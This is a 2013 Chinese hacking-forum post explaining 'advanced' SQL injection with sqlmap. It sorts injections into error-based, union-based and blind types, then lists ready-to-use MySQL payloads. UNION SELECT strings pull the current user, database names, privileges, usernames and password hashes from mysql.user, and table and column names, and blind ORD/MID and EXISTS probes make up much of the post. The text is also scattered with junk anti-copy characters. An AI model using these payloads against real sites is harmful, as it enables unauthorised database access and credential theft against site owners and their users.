找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2242|回复: 0
打印 上一主题 下一主题

sqlmap高级注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-16 20:31:26 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
放假第一天,本应该好好放松一下,可是还是想着把文章写完先。。。7 v1 H, ~( `; q1 x

9 m( Y% |3 z. v( F1 M0 M* G; F这次的主题是高级注入,坛子里也讲到了一些,不过本文旨在给大家一个更深刻的概念和全面的理解,下面看看我自己列的一个表! a/ {  S* G; u
$ }. m8 w, G0 n6 P# |9 X/ A
分类标准        分类        备注2 V0 |, S$ x( E+ A+ B
按字段类型        整型注入,字符型注入       
7 P% ?4 @( j3 i% B, `按出现的位置        get注入,post注入,cookie注入,http header注入       
; V" f8 y$ P0 L2 t* v然而高级注入是这样的" s5 C- F6 v( Y3 ]0 T, ~/ }. M  R
7 C, l" U8 ?" |- n0 N: Z
高级注入分类        条件
. D- U4 R: _  W- d+ Y$ h, Ferror-based sql        数据库的错误回显可以返回,存在数据库,表结构
7 G) V+ X4 M$ Qunion-based sql        能够使用union,存在数据库,表结构
8 \* l9 g; Q+ \3 x! Z; \blind sql        存在注入) h0 m0 W* m3 R
我们暂且不考虑waf等的影响,只从原理上学习。通过上面我们不难发现,三种高级注入选择的顺序应该是eub(第一个字母,后面为了方便我都这样表示了 ),实际上,e是不需要知道字段数的,u需要知道字段数,e之所以在前我觉得主要是因为这个,因为在其他方面它们没有本质的区别,它们都需要知道数据库以及表的结构,这样才能构造出相应的语句,当然,能e一般能u(没过滤union等),反过来却很不一定,因为一般会有自定义的错误提醒。如果没有结构,那么就回到了最悲剧,最麻烦的b了,猜。。。当然可能没有结果,但是如果只是不能使用u,有结构,b还是能出结果的,只是苦逼点而已。。。
. {8 P% V2 \+ {, t5 C7 T" d7 ` 7 j6 T( S; H0 n& p
好了,说了这么多,该上神器sqlmap了,最近坛子里貌似很火& T2 s2 J2 `/ _& a
, p7 U" H& C- y
附件分别以mysql和mssql为例子,提醒:sqlmap中使用-v 3可以查看每个请求的payload。
8 m, R& f2 b( K6 M 6 Y+ h2 ?! u% t) ^2 {* n+ b* o
这里用mysql说明) W. _0 \  `' |1 n0 f. ~% S
5 y" z/ j  v2 Y$ j6 M, T1 v
e注入坛子里很多了,请看戳我或者再戳我8 s8 J: n$ t: i7 a9 X; k

  `' J0 `' v4 V7 x& i: T9 ~u注入其实也很多了,这里就大概帖上一些重要语句吧,附件上结合例子都有的$ x# G/ S% N6 P: A  t

$ L  }3 o# K* G, J2 p# f" L获取当前数据库用户名" t# V- z0 `6 r
  F, C" b/ H7 D
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(C
6 g% `6 v* P5 T  h# w* `AST(CURRENT_USER() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NUL7 B7 U: s1 S' Z, ?; B
L, NULL#
( c6 {" g9 f, P  |) C8 w. q& F注意concat那里不是必须的,只是sqlmap为了自动攫取出数据加上的特征,下面语句类似,涉及基础性的知识,基友们自己去补吧。6 y0 W/ q& q! V1 \

. x) r& P  O$ _) y1 {3 A9 Z获取数据库名; c2 [5 z0 T2 @  l' ]
# a( ^, Q) {7 [% T+ r' Q8 k
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(DATABASE() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#
) M+ N* p" z1 l1 y; a获取所有用户名
# W+ _; h: w+ R0 H/ p: {
! Y2 G  g/ e+ B9 p, P/ BUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#
4 Y: o5 o' @% M( `: x查看当前用户权限
. s3 P( r' K* `  j. H& |" u 0 K1 y' v6 u$ r" {# D+ {
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(privilege_type AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#( s+ D! D: c/ s- B
尝试获取密码,当然需要有能读mysql数据库的权限
* G0 k  c! J+ W : @8 `, l6 J- B0 K
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(user AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(password AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM mysql.user#
2 V2 W, v; T) F' }1 O获取表名,limit什么的自己搞啦/ W5 f+ Q- z: Q. c: s7 i
  h+ l8 o: g: }6 {! f
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(table_name AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 0x7061727474696d655f6a6f62#! E$ P' o5 K8 R( z% P
获取字段名及其类型
/ H8 x$ j$ {/ zUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(column_name AS CHAR),0×20),0x697461626a6e,IFNULL(CAST(column_type AS CHAR),0×20),0x3a6864623a),NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x61646d696e5f7461626c65 AND table_schema=0x7061727474696d655f6a6f62 AND (column_name=0x61646d696e6e616d65 OR column_name=0x70617373776f7264)#3 V8 A; J4 S7 p& O* D2 _; @3 R

) h8 |/ e+ v- H. `' u7 \! x6 Ib注入,呵呵,除了当前用户,数据库,版本可以出来,而如果不能u,但存在数据的结构表,还是能苦逼出来,否则猜也不一定能猜到表和字段,内容自然也出不来,苦逼access啊。。。( ~: t& i6 M4 p6 `) r
- F* f1 f5 a- D1 S: n
如:
$ A' X7 M( K7 h5 E9 O5 d获取当前用户名
- w7 w! n; p$ p4 }2 K $ Z& r/ n% P. r' J& {  w# J3 R3 C* z
AND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1)) > 116
1 H# e" `/ e  E4 ?6 L4 ]$ a+ i获取当前数据库
0 I, W7 k7 D9 G# b  x" A0 C9 H 9 O  t* |# t9 s3 `# i, y" j! I
AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1)) > 106
% u) m% D4 s! e" k. \) X获取表名
5 o* V& S( C3 C% s* x# a
! _7 r, k; Q5 k8 }( IAND ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7061727474696d655f6a6f62),1,1)) > 51
! K0 r" O5 m1 N7 ?8 y  I" B/ ^' |" N获取字段名及其类型和爆内容就不说了,改改上面的就可以了。% B8 x  ]/ [2 v$ Z
回到最苦逼的情况,无结构的,mysql版本<5.0,现在不多见了吧,还是看看语句。
5 o" k4 L: c& L6 W6 W$ s5 Q爆表- q) V& X0 ]' E9 e6 L

$ n" f& ~3 A2 x+ Q6 DAND EXISTS(select * from table)" v$ U( h+ K# x% s$ t$ `
爆字段4 e* u" C/ m% \0 P& r
$ Z6 a( i, M! b: }# S8 {) o
AND EXISTS(select pwd from table)2 m- T0 q5 o8 q
盲注的变化就比较多了,由于篇幅,只是举个例子而已。
% m, ], H6 k$ \4 k! ^  Y6 E4 M5 L - n6 q3 E3 x% |- N' R' i5 D
本来想把mssql和access都写上的,不过编辑得太累了,有时间再写吧,其实原理都差不多,今天就洗洗睡了吧。
) c* J6 N8 ~1 ]
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表